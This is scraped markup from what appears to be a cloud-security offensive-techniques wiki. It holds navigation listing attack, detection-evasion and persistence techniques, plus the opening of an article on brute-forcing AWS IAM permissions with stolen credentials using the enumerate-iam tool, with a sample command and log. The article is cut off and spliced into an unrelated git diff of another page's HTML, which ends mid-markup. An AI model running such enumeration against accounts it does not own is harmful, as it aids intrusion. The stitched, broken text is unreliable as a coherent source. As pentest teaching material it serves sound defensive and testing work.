</a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-apis class=md-nav__link> <span class=md-ellipsis> Updating APIs </span> </a> </li> <li class=md-nav__item> <a href=#opsec-considerations class=md-nav__link> <span class=md-ellipsis> OPSEC Considerations </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/brute_force_iam_permissions.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Brute Force IAM Permissions</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/#post-125981-_lfnmqg2a6dto>Compromised Cloud Compute Credentials: Case Studies From the Wild</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/andresriancho/enumerate-iam>enumerate-iam</a>: Enumerate the permissions associated with an AWS credential set.</p> </li> </ul> </div> <p>When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough. </p> <p>This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering <a href=https://github.com/andresriancho/enumerate-iam>enumerate-iam</a> by Andrés Riancho.</p> <p>To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.</p> <div class=highlight><pre><span></span><code>user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
 2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id &quot;ASIAAAAAAAAAAAAAAAAA&quot;
 2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b
 2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912
diff --git a/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html b/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html
index dd9e62ce9..105edc099 100644
--- a/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html
+++ b/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage a flaw in Cognito's API to enumerate accounts in User Pools."><link href=https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ rel=canonical><link href=../brute_force_iam_permissions/ rel=prev><link href=../discover_secrets_in_public_aims/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Bypass Cognito Account Enumeration Controls - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass Cognito Account Enumeration Controls - Hacking The Cloud"><meta property=og:description content="Leverage a flaw in Cognito's API to enumerate accounts in User Pools."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass Cognito Account Enumeration Controls - Hacking The Cloud"><meta property=twitter:description content="Leverage a flaw in Cognito's API to enumerate accounts in User Pools."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage a flaw in Cognito's API to enumerate accounts in User Pools."><link href=https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ rel=canonical><link href=../brute_force_iam_permissions/ rel=prev><link href=../discover_secrets_in_public_aims/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Bypass Cognito Account Enumeration Controls - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass Cognito Account Enumeration Controls - Hacking The Cloud"><meta property=og:description content="Leverage a flaw in Cognito's API to enumerate accounts in User Pools."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass Cognito Account Enumeration Controls - Hacking The Cloud"><meta property=twitter:description content="Leverage a flaw in Cognito's API to enumerate accounts in User Pools."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#example-responses class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 